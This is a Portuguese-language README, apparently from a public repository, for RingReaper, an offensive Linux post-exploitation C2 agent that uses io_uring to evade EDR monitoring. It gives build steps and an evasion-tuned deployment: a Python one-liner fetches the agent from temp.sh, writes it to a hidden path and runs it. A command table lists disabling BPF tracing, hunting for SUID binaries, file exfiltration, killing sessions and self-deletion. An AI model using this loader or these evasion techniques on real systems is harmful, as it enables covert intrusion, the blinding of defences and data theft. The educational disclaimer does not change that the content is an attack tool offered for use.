
Agente de pós-exploração para Linux que usa io_uring para contornar furtivamente a detecção por EDR, evitando syscalls tradicionais.
RingReaper é um agente de pós-exploração simples para Linux, projetado para quem precisa operar de forma furtiva, minimizando as chances de ser detectado por soluções EDR. A ideia por trás deste projeto foi aproveitar o io_uring, a nova interface de I/O assíncrono do kernel Linux, especificamente para evitar chamadas de sistema tradicionais que a maioria dos EDRs tende a monitorar ou até mesmo hookar.
Na prática, o RingReaper substitui chamadas como read, write, recv, send, connect, entre outras, por operações de I/O assíncrono (io_uring_prep_*), reduzindo a exposição a hooks e ao rastreamento de eventos tipicamente coletados de forma padronizada pelos produtos de segurança.
NOTA: Algumas funções dentro do RingReaper ainda dependem de chamadas tradicionais, como leitura de diretórios (
opendir,readdir) ou resolução de links simbólicos (readlink), porque o io_uring ainda não suporta totalmente esses tipos de operações nativamente. Mesmo assim, durante meus testes, essas chamadas não dispararam alertas nos EDRs testados, justamente por estarem fora dos caminhos de I/O de rede monitorados.
Em resumo, o RingReaper foi construído para evitar chamadas tradicionais tanto quanto possível e, mesmo nos casos em que precisou usá-las, demonstrou excelente capacidade de evasão, sem alertas ou detecções dos agentes de segurança comuns.
Veja o artigo completo e detalhado em:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
Autor: https://www.linkedin.com/in/mathsalves/
Pesquisadores de Rootkit
No RingReaper, todo o tráfego de dados, incluindo comandos de controle, uploads e downloads, deve passar pelo io_uring. Isso também garante que as operações mais sensíveis permaneçam fora do radar de hooks e do monitoramento de EDR baseado em chamadas tradicionais.
O RingReaper foi projetado desde o início para contornar o monitoramento de EDR. Muitas soluções de segurança baseiam seus gatilhos de detecção na interceptação de syscalls clássicas (read, recv, send, connect) no nível do kernel. Como o io_uring é relativamente novo e menos integrado ao pipeline de telemetria desses produtos, ele muitas vezes passa despercebido pela maioria dos agentes, permitindo sessões C2 e exfiltração de dados sem disparar alertas.
Até mesmo funções que ainda dependem de syscalls mais antigas (como leitura de diretórios) permaneceram discretas o suficiente para não levantar alarmes.
liburingTestado SOMENTE nas seguintes versões de kernel abaixo;
- 6.8.0-60-generic
- 6.12.25-amd64
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
Durante os testes, notei que o EDR detectava a compilação do agent.c monitorando o uso do GCC em tempo real (é melhor não usar wget/curl). Para contornar isso, compilei o agente estaticamente na minha máquina, enviei o binário pronto via temp.sh e usei Python no alvo para baixá-lo e executá-lo. Essa técnica funcionou sem gerar alertas.
Servidor (máquina de ataque):
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443Agente (máquina alvo):
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"Versão 2.0:
Sinta-se à vontade para abrir pull requests e contribuir com o projeto. Se houver qualquer erro com o RingReaper, por favor crie uma issue e relate para nós.
Este código foi desenvolvido exclusivamente para fins educacionais, pesquisa e demonstrações controladas de técnicas de evasão. Qualquer uso fora de ambientes autorizados, ou para fins maliciosos, é estritamente proibido e de inteira responsabilidade do usuário. O uso não autorizado ou ilegal pode violar leis locais, nacionais ou internacionais.
| Comando | Descrição | Backend |
|---|
get | Visualizar arquivos do alvo | 100% io_uring |
put | Enviar arquivos (usa recv no lado do agente) | 100% io_uring |
killbpf | Desabilitar rastreamento, remover arquivos de /sys/fs/bpf e matar processos que usam bpf-map | chamadas tradicionais + io_uring |
users | Listar usuários logados lendo utmp | 100% io_uring |
ss / netstat | Listar conexões TCP de /proc/net/tcp | 100% io_uring |
privesc | Procurar binários SUID usando statx | 100% io_uring |
ps | Listar processos (usa opendir, readdir) | chamadas tradicionais + io_uring |
kick | Matar sessões pts (usa opendir, readdir, kill, readlink) | chamadas tradicionais + io_uring |
me | Mostrar PID/TTY (getpid, ttyname) | chamadas tradicionais + io_uring |
selfdestruct | Excluir o binário atual (usa readlink) | chamadas tradicionais + io_uring |
exit | Encerrar conexão e sair | 100% io_uring |
help | Exibir ajuda | 100% io_uring |